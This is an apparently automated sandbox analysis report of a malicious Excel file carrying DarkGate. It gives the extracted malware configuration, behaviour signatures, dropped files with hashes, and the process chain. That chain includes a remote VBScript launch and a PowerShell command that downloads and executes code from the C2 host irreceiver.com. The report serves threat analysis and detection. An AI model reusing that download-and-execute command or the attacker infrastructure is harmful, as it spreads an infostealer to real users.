Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/04/2024, 16:43

General

  • Target
    c788865f66a500b7555f78979d2874f066de21384d0fef3707785a450cd8df0e.xlsx
  • Size 56KB
  • Sample240403-t8egfafe81
  • SHA256 c788865f66a500b7555f78979d2874f066de21384d0fef3707785a450cd8df0e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • darkgate

Botnet
  • admin888

C2
  • irreceiver.com

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    zvRxAJTe

  • minimum_disk

    100

  • minimum_ram

    4096

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\c788865f66a500b7555f78979d2874f066de21384d0fef3707785a450cd8df0e.xlsx"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1456
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "\\86.104.72.124\prv\MS_EXCEL_ATTACHMENT_04.03.24.vbs"
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4092
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'irreceiver.com/abtjvwag')
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2128
        • C:\unuu\AutoHotkey.exe
          "C:\unuu\AutoHotkey.exe" C:/unuu/script.ahk
          4⤵
          • Executes dropped EXE
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:2708
        • C:\Windows\system32\attrib.exe
          "C:\Windows\system32\attrib.exe" +h C:/unuu/
          4⤵
          • Views/modifies file attributes
          PID:660

Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        __PSScriptPolicyTest_hiniwtk0.t4c.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hiniwtk0.t4c.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        AutoHotkey.exe

        • Path C:\unuu\AutoHotkey.exe
        • Size 892KB
        • SHA256 897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb
        • MD5 SHA1 SHA512 SSDEEP

        script.ahk

        • Path C:\unuu\script.ahk
        • Size 55KB
        • SHA256 dcce467f4267254a1dfd26642008811970edff2d8e6383fba9ac7b09e3e787a8
        • MD5 SHA1 SHA512 SSDEEP

        test.txt

        • Path C:\unuu\test.txt
        • Size 925KB
        • SHA256 ba678d79ce2ddfe428b5ca83640e4eb0be5592da97228f5f5013b87e51f51e6c
        • MD5 SHA1 SHA512 SSDEEP

        memory/1456-16-0x00007FF9AE7D0000-0x00007FF9AE7E0000-memory.dmp

        memory/1456-17-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp

        memory/1456-5-0x00007FF9B0A90000-0x00007FF9B0AA0000-memory.dmp

        memory/1456-7-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp

        memory/1456-8-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp

        memory/1456-9-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp

        memory/1456-12-0x00007FF9AE7D0000-0x00007FF9AE7E0000-memory.dmp

        memory/1456-10-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp

        memory/1456-11-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp

        memory/1456-13-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp

        memory/1456-14-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp

        memory/1456-15-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp

        memory/1456-0-0x00007FF9B0A90000-0x00007FF9B0AA0000-memory.dmp

        memory/1456-18-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp

        memory/1456-19-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp

        memory/1456-6-0x00007FF9B0A90000-0x00007FF9B0AA0000-memory.dmp

        memory/1456-4-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp

        memory/1456-1-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp

        memory/1456-3-0x00007FF9B0A90000-0x00007FF9B0AA0000-memory.dmp

        memory/1456-66-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp

        memory/1456-62-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp

        memory/1456-2-0x00007FF9B0A90000-0x00007FF9B0AA0000-memory.dmp

        memory/1456-51-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp

        memory/2128-43-0x000001DD71CF0000-0x000001DD71EB2000-memory.dmp

        memory/2128-41-0x000001DD71570000-0x000001DD71580000-memory.dmp

        memory/2128-65-0x00007FF9C76F0000-0x00007FF9C81B1000-memory.dmp

        memory/2128-42-0x000001DD71570000-0x000001DD71580000-memory.dmp

        memory/2128-40-0x00007FF9C76F0000-0x00007FF9C81B1000-memory.dmp

        memory/2128-39-0x000001DD71720000-0x000001DD71742000-memory.dmp

        memory/2708-69-0x0000000004AD0000-0x0000000004B44000-memory.dmp

        memory/2708-71-0x0000000004AD0000-0x0000000004B44000-memory.dmp